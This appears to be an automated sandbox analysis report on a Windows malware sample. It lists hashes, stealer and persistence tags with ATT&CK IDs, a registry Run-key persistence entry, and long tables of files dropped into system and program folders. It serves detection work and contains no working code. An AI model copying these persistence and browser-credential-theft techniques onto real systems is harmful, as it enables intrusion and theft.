b804e9766e2ebc1e7665bb4b6ff117f6e667340b539e30453c40715b84d9a9c1

General

Target

0522cdb03aff0504fad3fd3f4997dacb_JaffaCakes118.exe
Size

15.4MB
MD5

0522cdb03aff0504fad3fd3f4997dacb
SHA1

82949dfd97dc43028fca10988cc18ccd48c1237e
SHA256

b804e9766e2ebc1e7665bb4b6ff117f6e667340b539e30453c40715b84d9a9c1
SHA512

bd3439490d1fe4e94dcc6e1d77378c144f0c28a3d12ba8cab6646f43d20a9107b9434bb4fe96adba0260fd41a0e8defdf44dc1f92fd6bdb5ec6d6e4c77c78e49
SSDEEP

98304:XX77GBfWgVh+Cgad1S3imxJWIfzjTpC5V3:vGBfWqjd1nyzPpCL3

Score

7^/10

persistence spyware stealer

Malware Config

Signatures

Reads user/profile data of web browsers 2 TTPs
Infostealers often target stored browser data, which can include saved credentials etc.
spyware stealer

Data from Local System
T1005

Credentials In Files
T1552.001

Adds Run key to start application 2 TTPs 1 IoCs

persistence

Registry Run Keys / Startup Folder

T1547.001

Modify Registry

T1112

Processes:

0522cdb03aff0504fad3fd3f4997dacb_JaffaCakes118.exe

description	ioc	process
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\Windows\CurrentVersion\Run\ati display driver = "ÔN@"	0522cdb03aff0504fad3fd3f4997dacb_JaffaCakes118.exe

Drops file in System32 directory 64 IoCs

Processes:

0522cdb03aff0504fad3fd3f4997dacb_JaffaCakes118.exe

description	ioc	process
File created	C:\Windows\SysWOW64\Magnify.exe_	0522cdb03aff0504fad3fd3f4997dacb_JaffaCakes118.exe
File created	C:\Windows\SysWOW64\OpenWith.exe	0522cdb03aff0504fad3fd3f4997dacb_JaffaCakes118.exe
File created	C:\Windows\SysWOW64\SystemPropertiesComputerName.exe_	0522cdb03aff0504fad3fd3f4997dacb_JaffaCakes118.exe
File created	C:\Windows\SysWOW64\TsWpfWrp.exe	0522cdb03aff0504fad3fd3f4997dacb_JaffaCakes118.exe
File created	C:\Windows\SysWOW64\fsutil.exe-	0522cdb03aff0504fad3fd3f4997dacb_JaffaCakes118.exe
File created	C:\Windows\SysWOW64\ndadmin.exe_	0522cdb03aff0504fad3fd3f4997dacb_JaffaCakes118.exe
File created	C:\Windows\SysWOW64\Speech_OneCore\Common\SpeechModelDownload.exe_	0522cdb03aff0504fad3fd3f4997dacb_JaffaCakes118.exe
File created	C:\Windows\SysWOW64\EaseOfAccessDialog.exe	0522cdb03aff0504fad3fd3f4997dacb_JaffaCakes118.exe
File created	C:\Windows\SysWOW64\setupugc.exe-	0522cdb03aff0504fad3fd3f4997dacb_JaffaCakes118.exe
File created	C:\Windows\SysWOW64\WSManHTTPConfig.exe_	0522cdb03aff0504fad3fd3f4997dacb_JaffaCakes118.exe
File created	C:\Windows\SysWOW64\cleanmgr.exe-	0522cdb03aff0504fad3fd3f4997dacb_JaffaCakes118.exe
File created	C:\Windows\SysWOW64\convert.exe_	0522cdb03aff0504fad3fd3f4997dacb_JaffaCakes118.exe
File created	C:\Windows\SysWOW64\extrac32.exe-	0522cdb03aff0504fad3fd3f4997dacb_JaffaCakes118.exe
File created	C:\Windows\SysWOW64\GameBarPresenceWriter.exe-	0522cdb03aff0504fad3fd3f4997dacb_JaffaCakes118.exe
File created	C:\Windows\SysWOW64\mcbuilder.exe-	0522cdb03aff0504fad3fd3f4997dacb_JaffaCakes118.exe
File created	C:\Windows\SysWOW64\InstallShield\setup.exe	0522cdb03aff0504fad3fd3f4997dacb_JaffaCakes118.exe
File created	C:\Windows\SysWOW64\LaunchTM.exe	0522cdb03aff0504fad3fd3f4997dacb_JaffaCakes118.exe
File created	C:\Windows\SysWOW64\RpcPing.exe	0522cdb03aff0504fad3fd3f4997dacb_JaffaCakes118.exe
File created	C:\Windows\SysWOW64\IME\SHARED\imecfmui.exe	0522cdb03aff0504fad3fd3f4997dacb_JaffaCakes118.exe
File created	C:\Windows\SysWOW64\SettingSyncHost.exe	0522cdb03aff0504fad3fd3f4997dacb_JaffaCakes118.exe
File created	C:\Windows\SysWOW64\bootcfg.exe	0522cdb03aff0504fad3fd3f4997dacb_JaffaCakes118.exe
File created	C:\Windows\SysWOW64\control.exe_	0522cdb03aff0504fad3fd3f4997dacb_JaffaCakes118.exe
File created	C:\Windows\SysWOW64\fc.exe	0522cdb03aff0504fad3fd3f4997dacb_JaffaCakes118.exe
File created	C:\Windows\SysWOW64\HOSTNAME.EXE_	0522cdb03aff0504fad3fd3f4997dacb_JaffaCakes118.exe
File created	C:\Windows\SysWOW64\w32tm.exe_	0522cdb03aff0504fad3fd3f4997dacb_JaffaCakes118.exe
File created	C:\Windows\SysWOW64\wermgr.exe	0522cdb03aff0504fad3fd3f4997dacb_JaffaCakes118.exe
File created	C:\Windows\SysWOW64\certreq.exe	0522cdb03aff0504fad3fd3f4997dacb_JaffaCakes118.exe
File created	C:\Windows\SysWOW64\ieUnatt.exe_	0522cdb03aff0504fad3fd3f4997dacb_JaffaCakes118.exe
File created	C:\Windows\SysWOW64\shutdown.exe_	0522cdb03aff0504fad3fd3f4997dacb_JaffaCakes118.exe
File created	C:\Windows\SysWOW64\tree.com_	0522cdb03aff0504fad3fd3f4997dacb_JaffaCakes118.exe
File created	C:\Windows\SysWOW64\wecutil.exe_	0522cdb03aff0504fad3fd3f4997dacb_JaffaCakes118.exe
File created	C:\Windows\SysWOW64\clip.exe-	0522cdb03aff0504fad3fd3f4997dacb_JaffaCakes118.exe
File created	C:\Windows\SysWOW64\curl.exe	0522cdb03aff0504fad3fd3f4997dacb_JaffaCakes118.exe
File created	C:\Windows\SysWOW64\instnm.exe-	0522cdb03aff0504fad3fd3f4997dacb_JaffaCakes118.exe
File created	C:\Windows\SysWOW64\whoami.exe-	0522cdb03aff0504fad3fd3f4997dacb_JaffaCakes118.exe
File created	C:\Windows\SysWOW64\calc.exe-	0522cdb03aff0504fad3fd3f4997dacb_JaffaCakes118.exe
File created	C:\Windows\SysWOW64\netbtugc.exe_	0522cdb03aff0504fad3fd3f4997dacb_JaffaCakes118.exe
File created	C:\Windows\SysWOW64\certreq.exe_	0522cdb03aff0504fad3fd3f4997dacb_JaffaCakes118.exe
File created	C:\Windows\SysWOW64\provlaunch.exe_	0522cdb03aff0504fad3fd3f4997dacb_JaffaCakes118.exe
File created	C:\Windows\SysWOW64\raserver.exe_	0522cdb03aff0504fad3fd3f4997dacb_JaffaCakes118.exe
File created	C:\Windows\SysWOW64\user.exe_	0522cdb03aff0504fad3fd3f4997dacb_JaffaCakes118.exe
File created	C:\Windows\SysWOW64\taskkill.exe_	0522cdb03aff0504fad3fd3f4997dacb_JaffaCakes118.exe
File created	C:\Windows\SysWOW64\Taskmgr.exe-	0522cdb03aff0504fad3fd3f4997dacb_JaffaCakes118.exe
File created	C:\Windows\SysWOW64\Com\comrepl.exe	0522cdb03aff0504fad3fd3f4997dacb_JaffaCakes118.exe
File created	C:\Windows\SysWOW64\F12\IEChooser.exe_	0522cdb03aff0504fad3fd3f4997dacb_JaffaCakes118.exe
File created	C:\Windows\SysWOW64\fontview.exe_	0522cdb03aff0504fad3fd3f4997dacb_JaffaCakes118.exe
File created	C:\Windows\SysWOW64\gpscript.exe	0522cdb03aff0504fad3fd3f4997dacb_JaffaCakes118.exe
File created	C:\Windows\SysWOW64\nslookup.exe-	0522cdb03aff0504fad3fd3f4997dacb_JaffaCakes118.exe
File created	C:\Windows\SysWOW64\bitsadmin.exe-	0522cdb03aff0504fad3fd3f4997dacb_JaffaCakes118.exe
File created	C:\Windows\SysWOW64\cmdkey.exe-	0522cdb03aff0504fad3fd3f4997dacb_JaffaCakes118.exe
File created	C:\Windows\SysWOW64\CheckNetIsolation.exe_	0522cdb03aff0504fad3fd3f4997dacb_JaffaCakes118.exe
File created	C:\Windows\SysWOW64\dllhst3g.exe-	0522cdb03aff0504fad3fd3f4997dacb_JaffaCakes118.exe
File created	C:\Windows\SysWOW64\edpnotify.exe_	0522cdb03aff0504fad3fd3f4997dacb_JaffaCakes118.exe
File created	C:\Windows\SysWOW64\extrac32.exe_	0522cdb03aff0504fad3fd3f4997dacb_JaffaCakes118.exe
File created	C:\Windows\SysWOW64\rundll32.exe	0522cdb03aff0504fad3fd3f4997dacb_JaffaCakes118.exe
File created	C:\Windows\SysWOW64\SystemPropertiesComputerName.exe	0522cdb03aff0504fad3fd3f4997dacb_JaffaCakes118.exe
File created	C:\Windows\SysWOW64\systray.exe_	0522cdb03aff0504fad3fd3f4997dacb_JaffaCakes118.exe
File created	C:\Windows\SysWOW64\WPDShextAutoplay.exe-	0522cdb03aff0504fad3fd3f4997dacb_JaffaCakes118.exe
File created	C:\Windows\SysWOW64\fsutil.exe	0522cdb03aff0504fad3fd3f4997dacb_JaffaCakes118.exe
File created	C:\Windows\SysWOW64\grpconv.exe_	0522cdb03aff0504fad3fd3f4997dacb_JaffaCakes118.exe
File created	C:\Windows\SysWOW64\OpenWith.exe_	0522cdb03aff0504fad3fd3f4997dacb_JaffaCakes118.exe
File created	C:\Windows\SysWOW64\PATHPING.EXE-	0522cdb03aff0504fad3fd3f4997dacb_JaffaCakes118.exe
File created	C:\Windows\SysWOW64\PkgMgr.exe-	0522cdb03aff0504fad3fd3f4997dacb_JaffaCakes118.exe
File created	C:\Windows\SysWOW64\forfiles.exe-	0522cdb03aff0504fad3fd3f4997dacb_JaffaCakes118.exe

Drops file in Program Files directory 64 IoCs

Processes:

0522cdb03aff0504fad3fd3f4997dacb_JaffaCakes118.exe

description	ioc	process
File created	C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\ADelRCP.exe_	0522cdb03aff0504fad3fd3f4997dacb_JaffaCakes118.exe
File created	C:\Program Files\Java\jdk-1.8\bin\rmid.exe-	0522cdb03aff0504fad3fd3f4997dacb_JaffaCakes118.exe
File created	C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\AcroTextExtractor.exe-	0522cdb03aff0504fad3fd3f4997dacb_JaffaCakes118.exe
File created	C:\Program Files\WindowsApps\microsoft.windowscommunicationsapps_16005.11629.20316.0_x64__8wekyb3d8bbwe\HxTsr.exe-	0522cdb03aff0504fad3fd3f4997dacb_JaffaCakes118.exe
File created	C:\Program Files\Windows Media Player\setup_wm.exe_	0522cdb03aff0504fad3fd3f4997dacb_JaffaCakes118.exe
File created	C:\Program Files\Windows Media Player\setup_wm.exe-	0522cdb03aff0504fad3fd3f4997dacb_JaffaCakes118.exe
File created	C:\Program Files\Microsoft Office\root\vfs\Windows\Installer\{90160000-000F-0000-1000-0000000FF1CE}\pptico.exe	0522cdb03aff0504fad3fd3f4997dacb_JaffaCakes118.exe
File created	C:\Program Files (x86)\Common Files\Microsoft Shared\ink\pipanel.exe	0522cdb03aff0504fad3fd3f4997dacb_JaffaCakes118.exe
File created	C:\Program Files\Java\jre-1.8\bin\orbd.exe	0522cdb03aff0504fad3fd3f4997dacb_JaffaCakes118.exe
File created	C:\Program Files\Microsoft Office\root\Office16\MSOUC.EXE	0522cdb03aff0504fad3fd3f4997dacb_JaffaCakes118.exe
File created	C:\Program Files\Microsoft Office\root\vfs\Windows\Installer\{90160000-001F-0C0A-1000-0000000FF1CE}\misc.exe	0522cdb03aff0504fad3fd3f4997dacb_JaffaCakes118.exe
File created	C:\Program Files\Windows Mail\wabmig.exe	0522cdb03aff0504fad3fd3f4997dacb_JaffaCakes118.exe
File created	C:\Program Files\WindowsApps\Microsoft.SkypeApp_14.53.77.0_x64__kzf8qxf38zg5c\SkypeBackgroundHost.exe-	0522cdb03aff0504fad3fd3f4997dacb_JaffaCakes118.exe
File created	C:\Program Files (x86)\Microsoft\Edge\Application\92.0.902.67\show_third_party_software_licenses.bat	0522cdb03aff0504fad3fd3f4997dacb_JaffaCakes118.exe
File created	C:\Program Files (x86)\Windows Media Player\wmlaunch.exe_	0522cdb03aff0504fad3fd3f4997dacb_JaffaCakes118.exe
File created	C:\Program Files\Google\Chrome\Application\chrome_proxy.exe	0522cdb03aff0504fad3fd3f4997dacb_JaffaCakes118.exe
File created	C:\Program Files\Microsoft Office\root\vfs\ProgramFilesCommonX64\Microsoft Shared\OFFICE16\MSOXMLED.EXE_	0522cdb03aff0504fad3fd3f4997dacb_JaffaCakes118.exe
File created	C:\Program Files\WindowsApps\microsoft.windowscommunicationsapps_16005.11629.20316.0_x64__8wekyb3d8bbwe\HxCalendarAppImm.exe_	0522cdb03aff0504fad3fd3f4997dacb_JaffaCakes118.exe
File created	C:\Program Files (x86)\Common Files\Oracle\Java\javapath\java.exe-	0522cdb03aff0504fad3fd3f4997dacb_JaffaCakes118.exe
File created	C:\Program Files\Java\jdk-1.8\bin\wsgen.exe-	0522cdb03aff0504fad3fd3f4997dacb_JaffaCakes118.exe
File created	C:\Program Files\Microsoft Office\root\vfs\ProgramFilesCommonX64\Microsoft Shared\OFFICE16\MSOICONS.EXE-	0522cdb03aff0504fad3fd3f4997dacb_JaffaCakes118.exe
File created	C:\Program Files\Microsoft Office\root\Office16\ADDINS\Microsoft Power Query for Excel Integrated\bin\Microsoft.Mashup.Container.NetFX40.exe_	0522cdb03aff0504fad3fd3f4997dacb_JaffaCakes118.exe
File created	C:\Program Files (x86)\Microsoft\Edge\Application\pwahelper.exe-	0522cdb03aff0504fad3fd3f4997dacb_JaffaCakes118.exe
File created	C:\Program Files (x86)\Microsoft\EdgeUpdate_bk\Install\{C3E3E3FE-58F3-42A4-88BF-9E018DCE4D47}\MicrosoftEdgeUpdateSetup_X86_1.3.185.29.exe_	0522cdb03aff0504fad3fd3f4997dacb_JaffaCakes118.exe
File created	C:\Program Files (x86)\WindowsPowerShell\Modules\Pester\3.4.0\bin\Pester.bat	0522cdb03aff0504fad3fd3f4997dacb_JaffaCakes118.exe
File created	C:\Program Files\7-Zip\7z.exe-	0522cdb03aff0504fad3fd3f4997dacb_JaffaCakes118.exe
File created	C:\Program Files\Java\jre-1.8\bin\java-rmi.exe	0522cdb03aff0504fad3fd3f4997dacb_JaffaCakes118.exe
File created	C:\Program Files\Mozilla Firefox\crashreporter.exe_	0522cdb03aff0504fad3fd3f4997dacb_JaffaCakes118.exe
File created	C:\Program Files\WindowsApps\Microsoft.Microsoft3DViewer_6.1908.2042.0_x64__8wekyb3d8bbwe\View3D.ResourceResolver.exe-	0522cdb03aff0504fad3fd3f4997dacb_JaffaCakes118.exe
File created	C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\reader_sl.exe-	0522cdb03aff0504fad3fd3f4997dacb_JaffaCakes118.exe
File created	C:\Program Files\Microsoft Office\root\Office16\PerfBoost.exe_	0522cdb03aff0504fad3fd3f4997dacb_JaffaCakes118.exe
File created	C:\Program Files\Microsoft Office\root\Office16\WINWORD.EXE_	0522cdb03aff0504fad3fd3f4997dacb_JaffaCakes118.exe
File created	C:\Program Files\WindowsApps\Microsoft.WebMediaExtensions_1.0.20875.0_x64__8wekyb3d8bbwe\Microsoft.WebMediaExtensions.exe_	0522cdb03aff0504fad3fd3f4997dacb_JaffaCakes118.exe
File created	C:\Program Files (x86)\Common Files\Adobe\Acrobat_	0522cdb03aff0504fad3fd3f4997dacb_JaffaCakes118.exe
File created	C:\Program Files\Microsoft Office\root\Office16\MSOSYNC.EXE	0522cdb03aff0504fad3fd3f4997dacb_JaffaCakes118.exe
File created	C:\Program Files\Mozilla Firefox\private_browsing.exe	0522cdb03aff0504fad3fd3f4997dacb_JaffaCakes118.exe
File created	C:\Program Files (x86)\Microsoft\Edge\Application\92.0.902.67\show_third_party_software_licenses.bat-	0522cdb03aff0504fad3fd3f4997dacb_JaffaCakes118.exe
File created	C:\Program Files\Microsoft Office\root\Office16\PDFREFLOW.EXE_	0522cdb03aff0504fad3fd3f4997dacb_JaffaCakes118.exe
File created	C:\Program Files\WindowsApps\Microsoft.WindowsStore_11910.1002.5.0_x64__8wekyb3d8bbwe\WinStore.App.exe-	0522cdb03aff0504fad3fd3f4997dacb_JaffaCakes118.exe
File created	C:\Program Files\Java\jdk-1.8\jre\bin\ssvagent.exe-	0522cdb03aff0504fad3fd3f4997dacb_JaffaCakes118.exe
File created	C:\Program Files\Microsoft Office\root\Office16\msotd.exe_	0522cdb03aff0504fad3fd3f4997dacb_JaffaCakes118.exe
File created	C:\Program Files\Microsoft Office\root\vfs\ProgramFilesX86\Microsoft Office\Office16\AppSharingHookController.exe_	0522cdb03aff0504fad3fd3f4997dacb_JaffaCakes118.exe
File created	C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\AcroRd32Info.exe-	0522cdb03aff0504fad3fd3f4997dacb_JaffaCakes118.exe
File created	C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\AdobeCollabSync.exe_	0522cdb03aff0504fad3fd3f4997dacb_JaffaCakes118.exe
File created	C:\Program Files (x86)\Microsoft\Edge\Application\92.0.902.67\pwahelper.exe-	0522cdb03aff0504fad3fd3f4997dacb_JaffaCakes118.exe
File created	C:\Program Files\Java\jdk-1.8\bin\java-rmi.exe	0522cdb03aff0504fad3fd3f4997dacb_JaffaCakes118.exe
File created	C:\Program Files\Java\jdk-1.8\bin\java.exe-	0522cdb03aff0504fad3fd3f4997dacb_JaffaCakes118.exe
File created	C:\Program Files\Microsoft Office\root\vfs\Windows\Installer\{90160000-000F-0000-1000-0000000FF1CE}\grv_icons.exe	0522cdb03aff0504fad3fd3f4997dacb_JaffaCakes118.exe
File created	C:\Program Files\Google\Chrome\Application\123.0.6312.106\chrome_pwa_launcher.exe-	0522cdb03aff0504fad3fd3f4997dacb_JaffaCakes118.exe
File created	C:\Program Files\Java\jdk-1.8\bin\serialver.exe-	0522cdb03aff0504fad3fd3f4997dacb_JaffaCakes118.exe
File created	C:\Program Files (x86)\Google\Update\Install\{202F91EF-93D8-4437-A499-C36C67EEB76A}\chrome_installer.exe	0522cdb03aff0504fad3fd3f4997dacb_JaffaCakes118.exe
File created	C:\Program Files (x86)\Microsoft\Edge\Application\92.0.902.67\msedge_proxy.exe	0522cdb03aff0504fad3fd3f4997dacb_JaffaCakes118.exe
File created	C:\Program Files\Java\jdk-1.8\bin\idlj.exe-	0522cdb03aff0504fad3fd3f4997dacb_JaffaCakes118.exe
File created	C:\Program Files\Microsoft Office\root\Office16\SELFCERT.EXE	0522cdb03aff0504fad3fd3f4997dacb_JaffaCakes118.exe
File created	C:\Program Files\Microsoft Office 15\ClientX64\OfficeClickToRun.exe	0522cdb03aff0504fad3fd3f4997dacb_JaffaCakes118.exe
File created	C:\Program Files\Common Files\microsoft shared\ClickToRun\AppVShNotify.exe_	0522cdb03aff0504fad3fd3f4997dacb_JaffaCakes118.exe
File created	C:\Program Files\Common Files\microsoft shared\OFFICE16\LICLUA.EXE	0522cdb03aff0504fad3fd3f4997dacb_JaffaCakes118.exe
File created	C:\Program Files\Microsoft Office\root\Office16\MSOSYNC.EXE-	0522cdb03aff0504fad3fd3f4997dacb_JaffaCakes118.exe
File created	C:\Program Files (x86)\Google\Update\1.3.36.371\GoogleUpdate.exe	0522cdb03aff0504fad3fd3f4997dacb_JaffaCakes118.exe
File created	C:\Program Files\WindowsApps\Microsoft.MicrosoftOfficeHub_18.1903.1152.0_x64__8wekyb3d8bbwe\LocalBridge.exe-	0522cdb03aff0504fad3fd3f4997dacb_JaffaCakes118.exe
File created	C:\Program Files (x86)\Microsoft\Edge\Application\92.0.902.67\Installer\setup.exe-	0522cdb03aff0504fad3fd3f4997dacb_JaffaCakes118.exe
File created	C:\Program Files\Common Files\microsoft shared\ClickToRun\appvcleaner.exe	0522cdb03aff0504fad3fd3f4997dacb_JaffaCakes118.exe
File created	C:\Program Files\Java\jdk-1.8\bin\jmap.exe	0522cdb03aff0504fad3fd3f4997dacb_JaffaCakes118.exe
File created	C:\Program Files\Microsoft Office\root\vfs\Windows\Installer\{90160000-001F-0C0A-1000-0000000FF1CE}\misc.exe_	0522cdb03aff0504fad3fd3f4997dacb_JaffaCakes118.exe

Drops file in Windows directory 64 IoCs

Processes:

0522cdb03aff0504fad3fd3f4997dacb_JaffaCakes118.exe

description	ioc	process
File created	C:\Windows\WinSxS\amd64_microsoft-windows-spectrum_31bf3856ad364e35_10.0.19041.1151_none_f0b5afbf42eaff75\r\Spectrum.exe-	0522cdb03aff0504fad3fd3f4997dacb_JaffaCakes118.exe
File created	C:\Windows\WinSxS\amd64_microsoft-windows-u..onwakesettingflyout_31bf3856ad364e35_10.0.19041.746_none_8a469514405342ff\r\PasswordOnWakeSettingFlyout.exe-	0522cdb03aff0504fad3fd3f4997dacb_JaffaCakes118.exe
File created	C:\Windows\WinSxS\amd64_microsoft-windows-wab-app_31bf3856ad364e35_10.0.19041.1_none_f89a6b0476f024dd\wabmig.exe_	0522cdb03aff0504fad3fd3f4997dacb_JaffaCakes118.exe
File created	C:\Windows\WinSxS\amd64_windows-senseclient-service_31bf3856ad364e35_10.0.19041.1288_none_1cec63974464878f\r\SenseSampleUploader.exe-	0522cdb03aff0504fad3fd3f4997dacb_JaffaCakes118.exe
File created	C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_wp.exe-	0522cdb03aff0504fad3fd3f4997dacb_JaffaCakes118.exe
File created	C:\Windows\Microsoft.NET\Framework64\v4.0.30319\vbc.exe	0522cdb03aff0504fad3fd3f4997dacb_JaffaCakes118.exe
File created	C:\Windows\SystemApps\Microsoft.Win32WebViewHost_cw5n1h2txyewy\Win32WebViewHost.exe_	0522cdb03aff0504fad3fd3f4997dacb_JaffaCakes118.exe
File created	C:\Windows\WinSxS\amd64_wsatconfig_b03f5f7f11d50a3a_4.0.15805.0_none_63e334c9a2aa569e\WsatConfig.exe_	0522cdb03aff0504fad3fd3f4997dacb_JaffaCakes118.exe
File created	C:\Windows\WinSxS\amd64_microsoft-windows-printing-spooler-core_31bf3856ad364e35_10.0.19041.1288_none_4b1349ab76b8812f\f\splwow64.exe_	0522cdb03aff0504fad3fd3f4997dacb_JaffaCakes118.exe
File created	C:\Windows\WinSxS\wow64_microsoft-windows-runonce_31bf3856ad364e35_10.0.19041.1_none_d6008c7292c63a76\runonce.exe_	0522cdb03aff0504fad3fd3f4997dacb_JaffaCakes118.exe
File created	C:\Windows\WinSxS\amd64_microsoft-onecore-onlinesetup-component_31bf3856ad364e35_10.0.19041.746_none_4b0a936d86cdd479\r\oobeldr.exe-	0522cdb03aff0504fad3fd3f4997dacb_JaffaCakes118.exe
File created	C:\Windows\WinSxS\wow64_microsoft-windows-a..t-bytecodegenerator_31bf3856ad364e35_10.0.19041.1_none_a068a30a6853aaec\ByteCodeGenerator.exe-	0522cdb03aff0504fad3fd3f4997dacb_JaffaCakes118.exe
File created	C:\Windows\WinSxS\amd64_microsoft-windows-a..nagement-appvsystem_31bf3856ad364e35_10.0.19041.1081_none_bdf809eb2dd695f9\f\AppVClient.exe_	0522cdb03aff0504fad3fd3f4997dacb_JaffaCakes118.exe
File created	C:\Windows\WinSxS\amd64_microsoft-windows-analog-facefodhandler_31bf3856ad364e35_10.0.19041.1266_none_1f1ff89fbf279f16\f\FaceFodUninstaller.exe_	0522cdb03aff0504fad3fd3f4997dacb_JaffaCakes118.exe
File created	C:\Windows\WinSxS\amd64_microsoft-windows-com-surrogate-core_31bf3856ad364e35_10.0.19041.1_none_eadb9d8875f59863\dllhost.exe-	0522cdb03aff0504fad3fd3f4997dacb_JaffaCakes118.exe
File created	C:\Windows\WinSxS\amd64_microsoft-windows-d..b-standardcollector_31bf3856ad364e35_10.0.19041.264_none_0f23d07ed2574292\r\DiagnosticsHub.StandardCollector.Service.exe_	0522cdb03aff0504fad3fd3f4997dacb_JaffaCakes118.exe
File created	C:\Windows\WinSxS\amd64_microsoft-windows-waasmedic_31bf3856ad364e35_10.0.19041.207_none_11794cc79cc85d1d\f\WaaSMedicAgent.exe-	0522cdb03aff0504fad3fd3f4997dacb_JaffaCakes118.exe
File created	C:\Windows\WinSxS\amd64_microsoft-windows-wmi-core_31bf3856ad364e35_10.0.19041.1081_none_2e31e8eed4b770c3\WMIADAP.exe_	0522cdb03aff0504fad3fd3f4997dacb_JaffaCakes118.exe
File created	C:\Windows\WinSxS\amd64_microsoft-windows-d..ing-management-core_31bf3856ad364e35_10.0.19041.746_none_092d70d1898e5ff9\r\DismHost.exe_	0522cdb03aff0504fad3fd3f4997dacb_JaffaCakes118.exe
File created	C:\Windows\WinSxS\amd64_microsoft-windows-sqm-consolidator-base_31bf3856ad364e35_10.0.19041.1081_none_491d51c316b5ea8f\f\wsqmcons.exe_	0522cdb03aff0504fad3fd3f4997dacb_JaffaCakes118.exe
File created	C:\Windows\WinSxS\wow64_microsoft-windows-iis-sharedlibraries_31bf3856ad364e35_10.0.19041.906_none_f962ab5f47e1e896\r\aspnetca.exe_	0522cdb03aff0504fad3fd3f4997dacb_JaffaCakes118.exe
File created	C:\Windows\WinSxS\amd64_microsoft-windows-p..riencehost.appxmain_31bf3856ad364e35_10.0.19041.423_none_bfcb7b02f95b1e52\r\PeopleExperienceHost.exe_	0522cdb03aff0504fad3fd3f4997dacb_JaffaCakes118.exe
File created	C:\Windows\WinSxS\amd64_microsoft-windows-servicingstack_31bf3856ad364e35_10.0.19041.262_none_e73f0197262d9fec\poqexec.exe_	0522cdb03aff0504fad3fd3f4997dacb_JaffaCakes118.exe
File created	C:\Windows\WinSxS\amd64_microsoft-windows-t..-deployment-package_31bf3856ad364e35_10.0.19041.1_none_14bead3522ecffb2\TFTP.EXE-	0522cdb03aff0504fad3fd3f4997dacb_JaffaCakes118.exe
File created	C:\Windows\WinSxS\amd64_microsoft-windows-winre-recoverytools_31bf3856ad364e35_10.0.19041.572_none_b322aa88d0148356\r\ReAgentc.exe_	0522cdb03aff0504fad3fd3f4997dacb_JaffaCakes118.exe
File created	C:\Windows\WinSxS\wow64_microsoft-windows-magnify_31bf3856ad364e35_10.0.19041.1266_none_ed4855448241f7e7\f\Magnify.exe_	0522cdb03aff0504fad3fd3f4997dacb_JaffaCakes118.exe
File created	C:\Windows\WinSxS\wow64_microsoft-windows-tcpip-utility_31bf3856ad364e35_10.0.19041.1_none_f30cab80229c6b29\finger.exe_	0522cdb03aff0504fad3fd3f4997dacb_JaffaCakes118.exe
File created	C:\Windows\WinSxS\amd64_microsoft-windows-container-manager_31bf3856ad364e35_10.0.19041.1266_none_07a5d18b92d8b668\f\cmdiag.exe-	0522cdb03aff0504fad3fd3f4997dacb_JaffaCakes118.exe
File created	C:\Windows\WinSxS\amd64_microsoft-windows-e..riseclientsync-host_31bf3856ad364e35_10.0.19041.207_none_ac38fc33d542b487\WorkFolders.exe_	0522cdb03aff0504fad3fd3f4997dacb_JaffaCakes118.exe
File created	C:\Windows\WinSxS\amd64_microsoft-windows-lockapp.appxmain_31bf3856ad364e35_10.0.19041.844_none_c5675ea732c2eaa0\r\LockApp.exe-	0522cdb03aff0504fad3fd3f4997dacb_JaffaCakes118.exe
File created	C:\Windows\WinSxS\amd64_microsoft-windows-mediaplayer-autoplay_31bf3856ad364e35_10.0.19041.1266_none_8fc08423f52c1606\wmlaunch.exe-	0522cdb03aff0504fad3fd3f4997dacb_JaffaCakes118.exe
File created	C:\Windows\WinSxS\amd64_microsoft-windows-rasclienttools_31bf3856ad364e35_10.0.19041.1266_none_e40ca34e5de298c9\rasdial.exe-	0522cdb03aff0504fad3fd3f4997dacb_JaffaCakes118.exe
File created	C:\Windows\WinSxS\wow64_microsoft-windows-audio-audiocore_31bf3856ad364e35_10.0.19041.1266_none_f5ba41fece31d7fe\SpatialAudioLicenseSrv.exe_	0522cdb03aff0504fad3fd3f4997dacb_JaffaCakes118.exe
File created	C:\Windows\WinSxS\wow64_microsoft-windows-bth-user_31bf3856ad364e35_10.0.19041.746_none_4d67350a685e1a3a\bthudtask.exe-	0522cdb03aff0504fad3fd3f4997dacb_JaffaCakes118.exe
File created	C:\Windows\WinSxS\amd64_microsoft-windows-convert_31bf3856ad364e35_10.0.19041.1266_none_119b1e415d838a28\autoconv.exe_	0522cdb03aff0504fad3fd3f4997dacb_JaffaCakes118.exe
File created	C:\Windows\WinSxS\amd64_netfx4-cvtres_exe_b03f5f7f11d50a3a_4.0.15805.0_none_51acbceed0728359\cvtres.exe-	0522cdb03aff0504fad3fd3f4997dacb_JaffaCakes118.exe
File created	C:\Windows\Microsoft.NET\Framework64\v3.0\WPF\XamlViewer\XamlViewer_v0300.exe	0522cdb03aff0504fad3fd3f4997dacb_JaffaCakes118.exe
File created	C:\Windows\WinSxS\amd64_microsoft-windows-audio-audiocore_31bf3856ad364e35_10.0.19041.264_none_5481650943811810\r\audiodg.exe_	0522cdb03aff0504fad3fd3f4997dacb_JaffaCakes118.exe
File created	C:\Windows\WinSxS\amd64_microsoft-windows-nbtstat_31bf3856ad364e35_10.0.19041.1_none_540191f5bdbc78d5\nbtstat.exe_	0522cdb03aff0504fad3fd3f4997dacb_JaffaCakes118.exe
File created	C:\Windows\WinSxS\amd64_microsoft-windows-s..riencehost.appxmain_31bf3856ad364e35_10.0.19041.1151_none_71aa7fdbb41824a0\ShellExperienceHost.exe-	0522cdb03aff0504fad3fd3f4997dacb_JaffaCakes118.exe
File created	C:\Windows\WinSxS\amd64_microsoft-windows-systemreset_31bf3856ad364e35_10.0.19041.153_none_c8fbed52dad932cb\r\SysResetErr.exe_	0522cdb03aff0504fad3fd3f4997dacb_JaffaCakes118.exe
File created	C:\Windows\WinSxS\amd64_microsoft-windows-t..ces-workspacebroker_31bf3856ad364e35_10.0.19041.1151_none_0412565dd5f26733\f\wkspbroker.exe-	0522cdb03aff0504fad3fd3f4997dacb_JaffaCakes118.exe
